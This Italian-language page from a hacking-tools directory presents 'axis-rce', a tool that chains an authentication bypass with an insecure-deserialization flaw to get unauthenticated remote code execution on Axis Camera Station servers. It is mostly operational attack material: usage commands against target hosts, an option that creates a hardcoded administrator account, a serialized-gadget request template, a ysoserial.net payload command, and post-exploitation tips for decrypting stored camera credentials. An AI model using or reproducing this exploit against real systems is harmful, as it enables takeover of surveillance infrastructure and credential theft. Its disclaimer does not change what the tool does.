Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
axis-RCE — RCE non autenticata su Axis Camera Station (ACS) concatenando CVE‑2025‑30026 (bypass dell'autenticazione) + CVE‑2025‑30023 (deserializzazione non sicura) | Kitploit
Strumenti/GitHubGitHub/ricardojoserf/axis-rce
Sicurezza IoTAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCrittografiaPenetration TestingAutenticazioneRed TeamingSviluppo Payload
GitHubricardojoserf/axis-rce

axis-RCE

RCE non autenticata su Axis Camera Station (ACS) concatenando CVE‑2025‑30026 (bypass dell'autenticazione) + CVE‑2025‑30023 (deserializzazione non sicura)

612 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi RepositorySito web

CVE-2025-30026 + CVE-2025-30023: RCE non autenticato

Questo exploit concatena CVE‑2025‑30026 (bypass dell'autenticazione) con CVE‑2025‑30023 (deserializzazione non sicura) per ottenere un RCE non autenticato sul software Axis Camera Station. Aggira il meccanismo di login e invia payload serializzati malevoli che attivano l'esecuzione arbitraria di comandi, dando all'attaccante il pieno controllo sulla macchina target.

Entrambe le vulnerabilità interessano le versioni di Axis Camera Station Pro precedenti alla 6.9 e le versioni di Axis Camera Station precedenti alla 5.58.

Si basa sul post del blog di Claroty "Turning Camera Surveillance on its Axis", che descrive il protocollo e le vulnerabilità associate.



Utilizzo

python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
FlagDescrizione
--hostIP/host di destinazione (obbligatorio).
--portPorta di destinazione (predefinita 55752).
--keyChiave privata RSA-2048 del client in PEM (obbligatoria).
--jsonFile JSON locale contenente la Request da inviare.
--versionRequest VersionFacade.get_ProductVersion per ottenere le informazioni sulla versione.
--adduserCrea l'utente ricardo con password ThisIsIt123 e lo aggiunge al gruppo Administrators.
--waitSecondi di ascolto sul canale dopo l'handshake (predefinito 5).
--listenSecondi di attesa per la risposta dopo l'invio di una Request (predefinito 15).

Requisiti

Installare le dipendenze e generare una chiave privata RSA in formato PEM per il client:

pip install cryptography
openssl genrsa -out client_priv.pem 2048

Esempi

Interroga la versione del prodotto per verificare se la versione è vulnerabile:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

img1

Sfrutta la deserializzazione per creare un utente amministratore ricardo con password ThisIsIt123:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser

img2

img3

Invia una Request personalizzata da un file JSON per eseguire qualsiasi comando:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json

Formato del file Request

Un Request è un oggetto JSON con una singola chiave "Request". Il formato per sfruttare la deserializzazione è:

{
    "Request": {
        "Id": "random123456",
        "Service": "SessionFacade",
        "Method": "LogOnAsync",
        "Parameters": {
            "uri": "http://192.168.1.197:55752/",
            "clientInformationDto": {
                "$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
            },
            "communicationType": 0,
            "ct": "random123456"
        }
    }
}

Il valore del campo clientInformationDto può essere ottenuto utilizzando Ysoserial.net con un gadget come WindowsIdentity, che sembra essere piuttosto stabile per sfruttare questa vulnerabilità (altri gadget causano il crash del servizio):

ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw


Bottino extra

Una volta ottenuto l'accesso alla macchina Windows, si ha accesso ai database .FDB che contengono le credenziali per connettersi ai diversi dispositivi. Questi sono cifrati utilizzando un'implementazione AES debole, che è possibile decifrare immediatamente usando il numero di serie del volume dell'host o forzarla in pochi minuti con una GPU.

È possibile utilizzare lo script in questo repository per sfruttarla: CVE-2026-63286.



Come funziona il protocollo

AXIS Camera Station incapsula un protocollo binario stateful sopra HTTP. Invece di una richiesta/risposta per connessione, apre due canali persistenti e trasmette messaggi incorniciati su di essi fino alla chiusura della connessione.

LivelloDettaglio
TrasportoHTTP sulla porta 55752. GET /_/ apre il canale RX (ricezione); POST /_/<channelID> è il canale TX (invio), con ogni messaggio nel corpo della POST.
Incorniciatura RXCorpo HTTP chunked; al suo interno, i frame di controllo sono [uint32 LE length][data].
HandshakeEntrambe le parti si scambiano una chiave pubblica, poi una chiave di sessione AES casuale avvolta con la chiave pubblica dell'altra parte.
Formato chiaveIl client invia il proprio certificato X.509 (base64). La chiave AES viene inviata come base64(wrapped_key):base64(iv).
Wrap RSAPKCS#1 v1.5.
CanaleAES-256-CBC con padding PKCS#7. I frame server→client usano la chiave + IV del server.
ApplicazioneJSON Axis.Remoting. Il client invia prima il proprio ClientId come HELLO, poi {"Request":{"Id","Service","Method","Parameters"}}.

Sequenza di handshake

RX  GET /_/                 <-  channelID
RX  (server pushes)         <-  server cert (X.509, base64)
RX  (server pushes)         <-  server AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  client cert (X.509, base64)
TX  POST /_/<channelID>     ->  client AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  HELLO (ClientId)
TX  POST /_/<channelID>     ->  encrypted JSON Request
RX  (server pushes)         <-  encrypted JSON Response


Note

  • Testato sulle versioni 5.57.27610 e 5.57.33556 in esecuzione su Windows 11.

  • Gli attacchi di deserializzazione possono mandare in crash il servizio se vengono utilizzati gadget instabili o parametri inappropriati, quindi testare sempre in ambienti controllati.

  • Questo script è fornito esclusivamente per scopi educativi e di test autorizzati... usalo a tuo rischio!

Scarica lo strumento